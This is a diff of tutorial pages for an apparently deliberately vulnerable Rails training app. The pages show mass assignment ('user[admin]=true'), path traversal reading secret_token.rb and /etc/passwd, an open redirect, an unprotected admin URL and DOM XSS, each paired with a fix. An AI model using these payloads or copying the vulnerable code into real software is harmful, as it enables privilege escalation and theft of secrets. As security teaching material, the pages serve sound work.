...and the attack is quite simple. Append a parameter to the body of this POST request that specifies the admin value is true.
|
...and the attack is quite simple. Append a parameter to the body of this POST request that specifies the admin value is true.
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby"> utf8=â&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit&<span style="background-color: yellow">user[admin]=true</span>
|
<pre class="ruby"> utf8=â&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit&<span style="background-color: yellow">user[admin]=true</span>
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
So when the request is received by the create method within the user controller (code shown below), the admin attribute is set to true upon user creation.
|
So when the request is received by the create method within the user controller (code shown below), the admin attribute is set to true upon user creation.
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def create
|
def create
|
||||||
<span style="background-color: yellow">user = User.new(params[:user])</span>
|
<span style="background-color: yellow">user = User.new(params[:user])</span>
|
||||||
user.build_retirement(POPULATE_RETIREMENTS.shuffle.first)
|
user.build_retirement(POPULATE_RETIREMENTS.shuffle.first)
|
||||||
user.build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
|
user.build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
|
||||||
user.build_work_info(POPULATE_WORK_INFO.shuffle.first)
|
user.build_work_info(POPULATE_WORK_INFO.shuffle.first)
|
||||||
user.performance.build(POPULATE_PERFORMANCE.shuffle.first)
|
user.performance.build(POPULATE_PERFORMANCE.shuffle.first)
|
||||||
if user.save
|
if user.save
|
||||||
session[:user_id] = user.user_id
|
session[:user_id] = user.user_id
|
||||||
redirect_to home_dashboard_index_path
|
redirect_to home_dashboard_index_path
|
||||||
else
|
else
|
||||||
@user = user
|
@user = user
|
||||||
render :new
|
render :new
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The last thing to mention here is that this can be done either through the signup page or when you edit your account settings.
|
The last thing to mention here is that this can be done either through the signup page or when you edit your account settings.
|
||||||
</p>
|
</p>
|
||||||
<p><b> Mass Assignment SOLUTION:</b></p>
|
<p><b> Mass Assignment SOLUTION:</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The solution is fairly simple, remove the admin attribute from the attr_accessible method. The following code shows what we mean:
|
The solution is fairly simple, remove the admin attribute from the attr_accessible method. The following code shows what we mean:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
<span style="background-color:yellow"># Note that the admin attr has been removed </span>
|
<span style="background-color:yellow"># Note that the admin attr has been removed </span>
|
||||||
<%= %q{
|
<%= %q{
|
||||||
class User < ActiveRecord::Base
|
class User < ActiveRecord::Base
|
||||||
attr_accessible :email, :password, :password_confirmation, :first_name, :last_name
|
attr_accessible :email, :password, :password_confirmation, :first_name, :last_name
|
||||||
} %>
|
} %>
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -139,12 +139,12 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p>
|
<p>
|
||||||
Did you register your account correctly? How about when you updated your settings?
|
Did you register your account correctly? How about when you updated your settings?
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -17,8 +17,8 @@
|
|||||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The constantize method is a Rails MetaProgramming method designed to dynamically find a constant that matches the string specified. This is often used to dynamically instantiate a class or module. When user-supplied input is a part of that equation, great precautions must be taken to ensure security holes are not introduced.
|
The constantize method is a Rails MetaProgramming method designed to dynamically find a constant that matches the string specified. This is often used to dynamically instantiate a class or module. When user-supplied input is a part of that equation, great precautions must be taken to ensure security holes are not introduced.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -33,22 +33,22 @@
|
|||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p>
|
<p>
|
||||||
Within the file app/controllers/benefit_forms_controller.rb:
|
Within the file app/controllers/benefit_forms_controller.rb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def download
|
def download
|
||||||
begin
|
begin
|
||||||
<span style="background-color:yellow">path = Rails.root.join('public', 'docs', params[:name])</span>
|
<span style="background-color:yellow">path = Rails.root.join('public', 'docs', params[:name])</span>
|
||||||
<span style="background-color:yellow">file = params[:type].constantize.new(path)</span>
|
<span style="background-color:yellow">file = params[:type].constantize.new(path)</span>
|
||||||
send_file file, :disposition => 'attachment'
|
send_file file, :disposition => 'attachment'
|
||||||
rescue
|
rescue
|
||||||
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
|
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The location of the file to render is dynamically generated based on user input (params[:name]). This means the user controls the location of the file to be retrieved. Additionally, the params[:type] (File) is not validated to make sure it matches up with expected values.
|
The location of the file to render is dynamically generated based on user input (params[:name]). This means the user controls the location of the file to be retrieved. Additionally, the params[:type] (File) is not validated to make sure it matches up with expected values.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -63,55 +63,55 @@
|
|||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b> Constantize ATTACK:</b></p>
|
<p><b> Constantize ATTACK:</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
In order to attack this weakness, navigate to the benefit forms page and observe the link to download either the health or dental documents.
|
In order to attack this weakness, navigate to the benefit forms page and observe the link to download either the health or dental documents.
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
http://railsgoat.dev/download?name=Health_n_Stuff.pdf&type=File
|
http://railsgoat.dev/download?name=Health_n_Stuff.pdf&type=File
|
||||||
</pre>
|
</pre>
|
||||||
<p>
|
<p>
|
||||||
Change the name parameter to something a little more fun like:
|
Change the name parameter to something a little more fun like:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
http://railsgoat.dev/download?name=../../config/initializers/secret_token.rb&type=File
|
http://railsgoat.dev/download?name=../../config/initializers/secret_token.rb&type=File
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
This second request string specifies to navigate back two directories and then look for config/intiializers/secret_token.rb. It is important to note, even when Rails.root.join is used, leveraging path traversal (ex: ../../) allows the attacker to retrieve any file that the application's user has permissions to.<br/><br/> Example:
|
This second request string specifies to navigate back two directories and then look for config/intiializers/secret_token.rb. It is important to note, even when Rails.root.join is used, leveraging path traversal (ex: ../../) allows the attacker to retrieve any file that the application's user has permissions to.<br/><br/> Example:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
../../../../../../../etc/passwd&type=File
|
../../../../../../../etc/passwd&type=File
|
||||||
</pre>
|
</pre>
|
||||||
<p><b> Constantize SOLUTION:</b></p>
|
<p><b> Constantize SOLUTION:</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
In this instance and as always, there are multiple ways to fix this. A simple method to secure this function by validating user input is as follows:
|
In this instance and as always, there are multiple ways to fix this. A simple method to secure this function by validating user input is as follows:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# More secure version
|
# More secure version
|
||||||
def download
|
def download
|
||||||
<span style="background-color:yellow">file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"}</span>
|
<span style="background-color:yellow">file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"}</span>
|
||||||
begin
|
begin
|
||||||
<span style="background-color:yellow">if file_assoc.has_key?(params[:name].to_s)</span>
|
<span style="background-color:yellow">if file_assoc.has_key?(params[:name].to_s)</span>
|
||||||
path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s])
|
path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s])
|
||||||
<span style="background-color:yellow">if params[:type] == "File"</span>
|
<span style="background-color:yellow">if params[:type] == "File"</span>
|
||||||
file = params[:type].constantize.new(path)
|
file = params[:type].constantize.new(path)
|
||||||
send_file file, :disposition => 'attachment'
|
send_file file, :disposition => 'attachment'
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
file = Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf")
|
file = Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf")
|
||||||
send_file file, :disposition => 'attachment'
|
send_file file, :disposition => 'attachment'
|
||||||
end
|
end
|
||||||
rescue
|
rescue
|
||||||
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
|
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The fix ultimately boils down to leveraging a hash, if the hash has the key provided by the user, the value associated with that key is the name of the file to be returned.
|
The fix ultimately boils down to leveraging a hash, if the hash has the key provided by the user, the value associated with that key is the name of the file to be returned.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -125,6 +125,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -63,7 +63,7 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -77,6 +77,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -61,7 +61,7 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -75,6 +75,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -16,13 +16,13 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page.
|
Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page.
|
||||||
Detecting unchecked redirects is easy. Look for redirects where you can set the full URL. Unchecked forwards are harder, because they target internal pages.
|
Detecting unchecked redirects is easy. Look for redirects where you can set the full URL. Unchecked forwards are harder, because they target internal pages.
|
||||||
</p>
|
</p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Railsgoat allows the redirection to the paths previously requested but for which the user did not have access. Following authentication, the user is redirected.
|
Railsgoat allows the redirection to the paths previously requested but for which the user did not have access. Following authentication, the user is redirected.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -36,30 +36,30 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The application performs zero validation of the path for which they will redirect users, following authentication. The URL parameter is used to determine where to redirect the user, if the url parameter is not present, the user will be redirect to their home page.
|
The application performs zero validation of the path for which they will redirect users, following authentication. The URL parameter is used to determine where to redirect the user, if the url parameter is not present, the user will be redirect to their home page.
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def create
|
def create
|
||||||
<span style="background-color:yellow">path = params[:url].present? ? params[:url] : home_dashboard_index_path</span>
|
<span style="background-color:yellow">path = params[:url].present? ? params[:url] : home_dashboard_index_path</span>
|
||||||
begin
|
begin
|
||||||
# Normalize the email address, why not
|
# Normalize the email address, why not
|
||||||
user = User.authenticate(params[:email].to_s.downcase, params[:password])
|
user = User.authenticate(params[:email].to_s.downcase, params[:password])
|
||||||
# @url = params[:url]
|
# @url = params[:url]
|
||||||
rescue Exception => e
|
rescue Exception => e
|
||||||
end
|
end
|
||||||
|
|
||||||
if user
|
if user
|
||||||
session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
|
session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
|
||||||
redirect_to path
|
redirect_to path
|
||||||
else
|
else
|
||||||
# Removed this code, just doesn't seem specific enough!
|
# Removed this code, just doesn't seem specific enough!
|
||||||
# flash[:error] = "Either your username and password is incorrect"
|
# flash[:error] = "Either your username and password is incorrect"
|
||||||
flash[:error] = e.message
|
flash[:error] = e.message
|
||||||
render "new"
|
render "new"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -75,29 +75,29 @@
|
|||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Unvalidated Redirects and Forwards - ATTACK</b></p>
|
<p><b>Unvalidated Redirects and Forwards - ATTACK</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Ensure you are logged out of the application. When requesting the login page, ensure you append a url=<your test url here>. Then, authenticate to the application. Once authenticated, you should be redirected to your test url.
|
Ensure you are logged out of the application. When requesting the login page, ensure you append a url=<your test url here>. Then, authenticate to the application. Once authenticated, you should be redirected to your test url.
|
||||||
</p>
|
</p>
|
||||||
<p><b>Unvalidated Redirects and Forwards - SOLUTION</b></p>
|
<p><b>Unvalidated Redirects and Forwards - SOLUTION</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
To fix this vulnerability, validate the path. In our case, we really only want to redirect users to our site so the TLD is not important. In this case, leveraging URI.parse() can be incredibly helpful. We can change the code to something like:
|
To fix this vulnerability, validate the path. In our case, we really only want to redirect users to our site so the TLD is not important. In this case, leveraging URI.parse() can be incredibly helpful. We can change the code to something like:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
path = home_dashboard_index_path
|
path = home_dashboard_index_path
|
||||||
begin
|
begin
|
||||||
if params[:url].present?
|
if params[:url].present?
|
||||||
path = URI.parse(params[:url]).path
|
path = URI.parse(params[:url]).path
|
||||||
end
|
end
|
||||||
rescue
|
rescue
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Further validation can occur with regular expression. If you must redirect to another application, remember to use URI.parse() and the host, path, and scheme (ssl or not) options FIRST, prior to performing regular expression validation. Additionally, always open and close your validation regexp using Ruby anchor tags \A and \z.
|
Further validation can occur with regular expression. If you must redirect to another application, remember to use URI.parse() and the host, path, and scheme (ssl or not) options FIRST, prior to performing regular expression validation. Additionally, always open and close your validation regexp using Ruby anchor tags \A and \z.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -107,12 +107,12 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p>
|
<p>
|
||||||
Read the description section, fairly big hint there.
|
Read the description section, fairly big hint there.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -17,8 +17,8 @@
|
|||||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.
|
Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -33,8 +33,8 @@
|
|||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The application currently does not use SSL (this is not the bug). Once it does, we will show the bug. For now, check out the solution section.
|
The application currently does not use SSL (this is not the bug). Once it does, we will show the bug. For now, check out the solution section.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -49,21 +49,21 @@
|
|||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
In order to enforce transport layer security and ensure all requests are made over SSL, navigate to the environment file that matches the environment you would like to apply this to and add:
|
In order to enforce transport layer security and ensure all requests are made over SSL, navigate to the environment file that matches the environment you would like to apply this to and add:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
config.force_ssl = true
|
config.force_ssl = true
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
To protect sessions from being sent over non-encrypted channels, mark your cookies with the secure flag. Under config/initializers/session_store.rb added the following option (highlighted):
|
To protect sessions from being sent over non-encrypted channels, mark your cookies with the secure flag. Under config/initializers/session_store.rb added the following option (highlighted):
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session'<span style="background-color:yellow">, :secure => true
|
Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session'<span style="background-color:yellow">, :secure => true
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
|
|||||||
@@ -31,15 +31,15 @@
|
|||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Rails provides the ability to apply before_filter(s) which run prior to rendering content to the user. This is helpful when restricting access to content based on the user's role. Currently, the methods to apply a before_filter already exist in the application controller but were forgotten when creating the administrative functionality. Notice an asbsence of the before_filter within app/controllers/admin_controller.rb
|
Rails provides the ability to apply before_filter(s) which run prior to rendering content to the user. This is helpful when restricting access to content based on the user's role. Currently, the methods to apply a before_filter already exist in the application controller but were forgotten when creating the administrative functionality. Notice an asbsence of the before_filter within app/controllers/admin_controller.rb
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
<%= %q{
|
<%= %q{
|
||||||
class AdminController < ApplicationController
|
class AdminController < ApplicationController
|
||||||
|
|
||||||
skip_before_filter :has_info
|
skip_before_filter :has_info
|
||||||
} %>
|
} %>
|
||||||
</pre>
|
</pre>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -55,40 +55,40 @@
|
|||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Failure to Restrict URL Access - ATTACK</b></p>
|
<p><b>Failure to Restrict URL Access - ATTACK</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Request the following URL /admin/1/dashboard and have fun :-)
|
Request the following URL /admin/1/dashboard and have fun :-)
|
||||||
</p>
|
</p>
|
||||||
<p><b>Failure to Restrict URL Access - SOLUTION</b></p>
|
<p><b>Failure to Restrict URL Access - SOLUTION</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb:
|
The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
helper_method :current_user, <span style="background-color:yellow">:is_admin?</span>
|
helper_method :current_user, <span style="background-color:yellow">:is_admin?</span>
|
||||||
|
|
||||||
def is_admin?
|
def is_admin?
|
||||||
current_user.admin if current_user
|
current_user.admin if current_user
|
||||||
end
|
end
|
||||||
|
|
||||||
def administrative
|
def administrative
|
||||||
if not is_admin?
|
if not is_admin?
|
||||||
reset_session
|
reset_session
|
||||||
redirect_to root_url
|
redirect_to root_url
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p>
|
<p>
|
||||||
Then add the following line within app/controllers/admin_controller.rb
|
Then add the following line within app/controllers/admin_controller.rb
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
class AdminController < ApplicationController
|
class AdminController < ApplicationController
|
||||||
|
|
||||||
<span style="background-color:yellow">before_filter :administrative</span>
|
<span style="background-color:yellow">before_filter :administrative</span>
|
||||||
skip_before_filter :has_info
|
skip_before_filter :has_info
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -102,6 +102,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -11,7 +11,7 @@
|
|||||||
<a href="#collapseFive" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a href="#collapseFive" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-info icon-white">
|
<i class="icon-info icon-white">
|
||||||
</i>
|
</i>
|
||||||
Description
|
Description
|
||||||
</a>
|
</a>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
|
||||||
@@ -33,30 +33,30 @@
|
|||||||
<div class="accordion-body collapse" id="collapseSix" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseSix" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p>
|
<p>
|
||||||
The following code was taken from app/views/sessions/new.html.erb:
|
The following code was taken from app/views/sessions/new.html.erb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="javascript">
|
<pre class="javascript">
|
||||||
<%=
|
<%=
|
||||||
%{
|
%{
|
||||||
<script>
|
<script>
|
||||||
//document.write("<select style=\"width: 100px;\">");
|
//document.write("<select style=\"width: 100px;\">");
|
||||||
//document.write("<OPTION value=1>English</OPTION>");
|
//document.write("<OPTION value=1>English</OPTION>");
|
||||||
//document.write("<OPTION value=2>Spanish</OPTION>");
|
//document.write("<OPTION value=2>Spanish</OPTION>");
|
||||||
try \{
|
try \{
|
||||||
var hashParam = location.hash.split("#")[1];
|
var hashParam = location.hash.split("#")[1];
|
||||||
var paramName = hashParam.split('=')[0];
|
var paramName = hashParam.split('=')[0];
|
||||||
var paramValue = hashParam.split('=')[1];
|
var paramValue = hashParam.split('=')[1];
|
||||||
document.write("<OPTION value=3>" +} %> <span style="background-color:yellow"> paramValue</span> <%= %{ + "</OPTION>");
|
document.write("<OPTION value=3>" +} %> <span style="background-color:yellow"> paramValue</span> <%= %{ + "</OPTION>");
|
||||||
\} catch(err) \{
|
\} catch(err) \{
|
||||||
\}
|
\}
|
||||||
//document.write("</select>");
|
//document.write("</select>");
|
||||||
</script>
|
</script>
|
||||||
}
|
}
|
||||||
%>
|
%>
|
||||||
</pre>
|
</pre>
|
